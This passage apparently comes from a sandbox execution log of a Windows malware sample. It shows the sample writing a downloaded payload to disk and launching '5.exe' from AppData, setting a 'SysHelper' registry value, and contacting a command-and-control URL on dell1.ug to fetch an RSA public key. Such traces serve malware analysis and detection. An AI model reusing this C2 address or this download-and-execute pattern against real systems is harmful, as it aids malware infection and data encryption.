[0053.907] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.921] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.922] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.922] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.922] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.923] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.923] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.923] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.923] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.935] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.935] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.936] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.936] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.947] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.947] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.952] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.952] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.952] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.953] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.953] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.953] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.961] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.961] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.964] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.964] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.965] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.965] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.966] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.967] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.969] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.969] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.970] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.970] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.970] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.971] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.971] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.971] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.971] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.972] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.973] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.973] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.974] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.974] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.974] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.975] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.975] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.975] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.976] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.976] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.976] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.976] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.981] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.982] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.982] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.982] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0053.983] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.983] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x1a00) returned 1 [0053.988] WriteFile (in: hFile=0x5bc, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x1a00, lpOverlapped=0x0) returned 1 [0053.988] CloseHandle (hObject=0x5bc) returned 1 [0053.992] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0053.999] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0053.999] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\5.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6089460 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940cb8 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e5d0 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x605e8a8 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x60302c8 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6024af8 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6024b40 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x605e720 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x605e560 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x605e6b0 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x605e918 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6037910 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6035f90 | out: hHeap=0x3500000) returned 1 [0054.030] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x602ff00 | out: hHeap=0x3500000) returned 1 Thread: id = 45 os_tid = 0xa9c [0050.645] timeGetTime () returned 0x1146364 [0050.645] GetLastError () returned 0x54f [0050.645] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x8, Size=0x3bc) returned 0x6037418 [0050.645] GetCurrentThreadId () returned 0xa9c [0050.645] SetLastError (dwErrCode=0x54f) [0050.645] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x12a8a6e4 | out: phkResult=0x12a8a6e4*=0x5cc) returned 0x0 [0050.645] RegQueryValueExW (in: hKey=0x5cc, lpValueName="SysHelper", lpReserved=0x0, lpType=0x12a8a6d8, lpData=0x12a8a6e0, lpcbData=0x12a8a6dc*=0x4 | out: lpType=0x12a8a6d8*=0x0, lpData=0x12a8a6e0*=0x0, lpcbData=0x12a8a6dc*=0x4) returned 0x2 [0050.646] RegSetValueExW (in: hKey=0x5cc, lpValueName="SysHelper", Reserved=0x0, dwType=0x4, lpData=0x12a8a6e0*=0x1, cbData=0x4 | out: lpData=0x12a8a6e0*=0x1) returned 0x0 [0050.646] RegCloseKey (hKey=0x5cc) returned 0x0 [0050.646] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0050.646] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x80) returned 0x355a6d0 [0050.646] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0xbe) returned 0x6029a90 [0050.646] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x355a6d0 | out: hHeap=0x3500000) returned 1 [0050.646] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x30) returned 0x605e640 [0050.646] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0x601f260 [0050.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x605e640, cbMultiByte=-1, lpWideCharStr=0x601f260, cchWideChar=1056 | out: lpWideCharStr="9D21DEA2F9EA5AFC93634DAFF1A5107F") returned 33 [0050.646] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x850) returned 0x601c970 [0050.646] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601f260 | out: hHeap=0x3500000) returned 1 [0050.646] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x605e640 | out: hHeap=0x3500000) returned 1 [0050.646] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x8d0) returned 0x601f260 [0050.646] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6029a90 | out: hHeap=0x3500000) returned 1 [0050.646] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601c970 | out: hHeap=0x3500000) returned 1 [0050.646] lstrcpyW (in: lpString1=0x12a8af78, lpString2="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F" [0050.646] lstrcatW (in: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F", lpString2="&first=true" | out: lpString1="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F&first=true") returned="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F&first=true" [0050.646] InternetOpenUrlW (hInternet=0xcc0010, lpszUrl="http://dell1.ug/dhf58457ywuhifghpenelop3/Ai74ywouig/get.php?pid=9D21DEA2F9EA5AFC93634DAFF1A5107F&first=true", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0051.072] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0x12a8a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x12a8a774 | out: lpBuffer=0x12a8a778*, lpdwNumberOfBytesRead=0x12a8a774*=0x22f) returned 1 [0051.073] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0051.075] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0051.075] lstrlenA (lpString="{\"public_key\":\"") returned 15 [0051.075] lstrcpyA (in: lpString1=0x12a8ab78, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" [0051.075] lstrcpyA (in: lpString1=0x12a8a778, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n\",\"id\":\"5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN\"}") returned="-----BEGIN PUBLIC 